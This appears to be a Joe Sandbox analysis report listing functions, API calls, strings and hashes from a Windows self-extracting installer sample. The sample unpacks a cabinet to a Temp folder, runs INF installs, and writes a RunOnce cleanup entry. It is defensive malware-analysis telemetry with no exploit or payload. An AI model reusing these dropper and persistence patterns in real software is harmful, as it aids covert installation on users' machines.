Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: f4cfa1612aabc1199b890d98ac44f4522d759c55501f4ef4c1558760582b5ab9
Instruction ID: 951af18cbda5cb25f174269e643b28824194bd6b7bbeeaf5f33070ebbdd01092
Opcode Fuzzy Hash: f4cfa1612aabc1199b890d98ac44f4522d759c55501f4ef4c1558760582b5ab9
Instruction Fuzzy Hash: 3BF0F4325141517FE7321F289C8C8BBBF9CCF87754B2D01AFE49582001DFA90D06CA61

Function 002A6952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W*,?,00000000,002A5760,?,A:\), ref: 002A697F
MulDiv.KERNEL32(?,?,00000400), ref: 002A6999

Strings

`W*, xrefs: 002A6972, 002A6975

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W*
API String ID: 1705453755-2581008503
Opcode ID: 96d44ca2ea0930328eace63fb71b68a6841d9503bf1fbf66576f98c72dc4fced
Instruction ID: a87c1c1ebd4e88f5e4f304c24416f1d2028bc1616e533b9f959f54616316fd86
Opcode Fuzzy Hash: 96d44ca2ea0930328eace63fb71b68a6841d9503bf1fbf66576f98c72dc4fced
Instruction Fuzzy Hash: 1AF0E7B6D10229BBCB11DFE89848ADEBBBCEB49700F144196A514E2240DB719A118B91

Analysis Process: h0i46.exePID: 2820, Parent PID: 1616COMMON

Execution Graph

Execution Coverage:	28%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	971
Total number of Limit Nodes:	47

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00363BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00363C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00363CDC

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00368C42), ref: 00363D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00363E26
FreeLibrary.KERNEL32(00000000,?,00368C42), ref: 00363EFF
LocalFree.KERNEL32(?,?,?,?,00368C42), ref: 00363F1F
FreeLibrary.KERNEL32(00000000,?,00368C42), ref: 00363F40
LocalFree.KERNEL32(?,?,?,?,00368C42), ref: 00363F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00368C42), ref: 00363F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00368C42), ref: 00363F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00368C42), ref: 00363FC2

Strings

POSTRUNPROGRAM, xrefs: 00363D60
D, xrefs: 00363C19
valid, xrefs: 00363E68
DoInfInstall, xrefs: 00363E1F, 00363E24, 00363F68
advpack.dll, xrefs: 00363F9D
<None>, xrefs: 00363CC9, 00363D7D
SHOWWINDOW, xrefs: 00363C34
ADMQCMD, xrefs: 00363C9E
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00363E74
RUNPROGRAM, xrefs: 00363D05
USRQCMD, xrefs: 00363CAD
REBOOT, xrefs: 00363BE2

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$valid
API String ID: 1032054927-2764429417
Opcode ID: f6ad3ae0371b1957ebcb7a1394a883532073b771fd767cc659e70cb0bae836f7
Instruction ID: 2dc15075664bddd661f30d1092629925d15253cd6d024057eaa3d765d1b3ffae
Opcode Fuzzy Hash: f6ad3ae0371b1957ebcb7a1394a883532073b771fd767cc659e70cb0bae836f7
Instruction Fuzzy Hash: 10B1F3709083019BD723DF24C845B6B76E8EB89700F11C92EFA85DA199DBB1C944CB66

Function 00361AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00361BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00361BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,?,00000000,00000001,00000000), ref: 00361C57
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 00361C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00361140,00000000,00000008,?), ref: 00361CB8
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 00361D1B

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Strings

", xrefs: 00361B25
DefaultInstall, xrefs: 00361C74, 00361C87, 00361CCE, 00361CD3, 00361D2D, 00361D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00361D3B
Version, xrefs: 00361CB3
.INF, xrefs: 00361BDB
Reboot, xrefs: 00361C82
Command.com /c %s, xrefs: 00361D9B, 00361DE8
setupapi.dll, xrefs: 00361D23, 00361D3A
.BAT, xrefs: 00361D83
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00361BA0
AdvancedINF, xrefs: 00361CAE
setupx.dll, xrefs: 00361D14

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-55413852
Opcode ID: b2f99c59bc3842c3b6bb8e645665dac8f519fce383dbf53b22bb048d1f7fd804
Instruction ID: de0e27105cd2fe6dcd33b75522ae577b9f4dfe7a63a57098368545e687db1085
Opcode Fuzzy Hash: b2f99c59bc3842c3b6bb8e645665dac8f519fce383dbf53b22bb048d1f7fd804
Instruction Fuzzy Hash: 50A146B0A002186BEB23DB24CC45BFA776D9B56310F1CC295E955E72C8DBF19E85CB50

Function 00362F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000105), ref: 00362F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00362FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00362FC6
DecryptFileA.ADVAPI32 ref: 00362FE6
FreeLibrary.KERNEL32(00000000), ref: 00362FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 0036301C

Part of subcall function 003651E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00362F4D,?,00000002,00000000), ref: 00365201

Strings

DecryptFileA, xrefs: 00362FC0
advapi32.dll, xrefs: 00362F99
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00362FDB, 00363017

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-2573977943
Opcode ID: e2e5907592b9e683821a970865c1e1ec48237343fb3b7434455e53512ec89033
Instruction ID: c224f07c3adf4be05240e1f023ec9aa500f10049954836c8d6fb4008918ba85a
Opcode Fuzzy Hash: e2e5907592b9e683821a970865c1e1ec48237343fb3b7434455e53512ec89033
Instruction Fuzzy Hash: A141F630A006059BDB33ABB1DC4976633FC9B59750F02C126ED03C619AEFB4CE98CA61

Function 00362390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00368A3A,003611F4,00368A3A,00000000,?,?), ref: 003623F6
lstrcmpA.KERNEL32(?,003611F8), ref: 00362427
lstrcmpA.KERNEL32(?,003611FC), ref: 0036243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00362495
DeleteFileA.KERNEL32(?), ref: 003624A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 003624AF
FindClose.KERNELBASE(00000000), ref: 003624BE
RemoveDirectoryA.KERNELBASE(00368A3A), ref: 003624C5

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: d044c5d8ef8ee2112f34424d027f89a107d625e59900d68a9e64b0608047a3a4
Instruction ID: fc51c29b74995a08d970e3dfc47b3c9923d36a3bd097ac0619ab291f96ce0e0e
Opcode Fuzzy Hash: d044c5d8ef8ee2112f34424d027f89a107d625e59900d68a9e64b0608047a3a4
Instruction Fuzzy Hash: 1F318631604A40ABC323EB64CC49AEB73ECABC5305F05C92DF55586194EFB4990DCB52

Function 00362BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00366BB0,00360000,00000000,00000002,0000000A), ref: 00362C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00366BB0,00360000,00000000,00000002,0000000A), ref: 00362C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00362C28
CloseHandle.KERNEL32(00000000,?,?,00366BB0,00360000,00000000,00000002,0000000A), ref: 00362C98

Strings

HeapSetInformation, xrefs: 00362C22
Kernel32.dll, xrefs: 00362C13

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 9023658f4f3efad655fbe1c421a2a1df322d42b4ed5eb788d5959054428ba5c0
Instruction ID: 127459e35538a64b569555b9864e2c5a20ac41a73a42b8774add9697d3a857b9
Opcode Fuzzy Hash: 9023658f4f3efad655fbe1c421a2a1df322d42b4ed5eb788d5959054428ba5c0
Instruction Fuzzy Hash: 7F110231200A055BCB236BB5AC98A6F3B6D9B88384F0BC415FD00FB258CAB0DC418AA5

Function 0036202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00362050
memset.MSVCRT ref: 0036205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0036208C

Part of subcall function 0036171E: _vsnprintf.MSVCRT ref: 00361750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003620C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003620EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00362103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00362122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00362134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00362144
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0036215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0036218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003621C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003621E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0036223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00362249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00362250

Strings

%s /D:%s, xrefs: 003621FF, 00362210
advpack.dll, xrefs: 00362109
wextract_cleanup2, xrefs: 003620A5, 003620BE, 003620F0, 00362232
wextract_cleanup%d, xrefs: 0036209E
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003621F6
DelNodeRunDLL32, xrefs: 0036212E
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00362082
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003621A8, 00362204

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup2
API String ID: 178549006-1526010472
Opcode ID: 19115b26feefee3e711f90ba096bb5df2403eac762499b17a61b0245ee0e63a3
Instruction ID: 827087f783871f9476c496feadd2e8581aa4ef04ea4ee4494e864c43d1d85d8a
Opcode Fuzzy Hash: 19115b26feefee3e711f90ba096bb5df2403eac762499b17a61b0245ee0e63a3
Instruction Fuzzy Hash: 6B512771A00618ABDB239B60DC49FEB7B3CEB55700F01C1A4FA05E7159EAB19D498F60

Function 003655A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 003655CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00365638
LocalFree.KERNEL32(00000000), ref: 0036564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00365620

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Part of subcall function 00366285: GetLastError.KERNEL32(00365BBC), ref: 00366285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 003656B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0036571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00365737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 003657CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 003657EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00365802

Part of subcall function 00362630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00362654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00365830

Part of subcall function 00366517: FindResourceA.KERNEL32(00360000,000007D6,00000005), ref: 0036652A
Part of subcall function 00366517: LoadResource.KERNEL32(00360000,00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00366538
Part of subcall function 00366517: DialogBoxIndirectParamA.USER32(00360000,00000000,00000547,003619E0,00000000), ref: 00366557
Part of subcall function 00366517: FreeResource.KERNEL32(00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00366560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00365878

Part of subcall function 0036597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003659A8
Part of subcall function 0036597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 003659AF

Strings

A:\, xrefs: 003656F4
<None>, xrefs: 00365632
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003656AE, 003656B3, 0036583D
RUNPROGRAM, xrefs: 003655BD, 00365600
msdownld.tmp, xrefs: 003657D3
Z, xrefs: 0036570A

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP002.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1768447073
Opcode ID: d6eac7f4be20dec7906b3db75572824924939e0490a2e981a011637d52f74f78
Instruction ID: 54e30393a36bf90b25ae12c0b2f1e36172774f509539aadf0b8e16fb3bb01a01
Opcode Fuzzy Hash: d6eac7f4be20dec7906b3db75572824924939e0490a2e981a011637d52f74f78
Instruction Fuzzy Hash: F1814770B04A04ABDB23AB35CC95BEE76AD9B65300F04C0B5F586E7199EFB08DC1CA51

Function 00362CAA Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00362CD9
memset.MSVCRT ref: 00362CE9
memset.MSVCRT ref: 00362CF9

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00362D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00362D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00362DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00362DBD
CloseHandle.KERNEL32(valid,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00362E0A

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Strings

valid, xrefs: 00362D04, 00362DD9, 00362DF0
INSTANCECHECK, xrefs: 00362D95
VERCHECK, xrefs: 00362E54
@"v, xrefs: 00362E66
EXTRACTOPT, xrefs: 00362D4D
TITLE, xrefs: 00362D09

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: @"v$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$valid
API String ID: 1002816675-997357671
Opcode ID: 0a7ee15d87929c9bc14aad5cb1716731c45a6739f9b2c711b5f5449ac6647559
Instruction ID: 8503d5035f9a2cdc34263f19036bc978ed453d619b1a122cd59528c9e31d76fa
Opcode Fuzzy Hash: 0a7ee15d87929c9bc14aad5cb1716731c45a6739f9b2c711b5f5449ac6647559
Instruction Fuzzy Hash: E3510570640B01AAE723A760DC5AB7B26ADEB46700F16C436F941DA1DDDBF98881CA25

Function 00364FE0 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00364FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00365006
LockResource.KERNEL32(00000000), ref: 0036500D
GetDlgItem.USER32(00000000,00000842), ref: 00365030
ShowWindow.USER32(00000000), ref: 00365037
GetDlgItem.USER32(00000841,00000005), ref: 0036504A
ShowWindow.USER32(00000000), ref: 00365051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00365111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00365159

Strings

*MEMCAB, xrefs: 003650C7
@"v, xrefs: 00365006
CABINET, xrefs: 00364FE6, 00364FF7
*n3, xrefs: 00364FF9

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

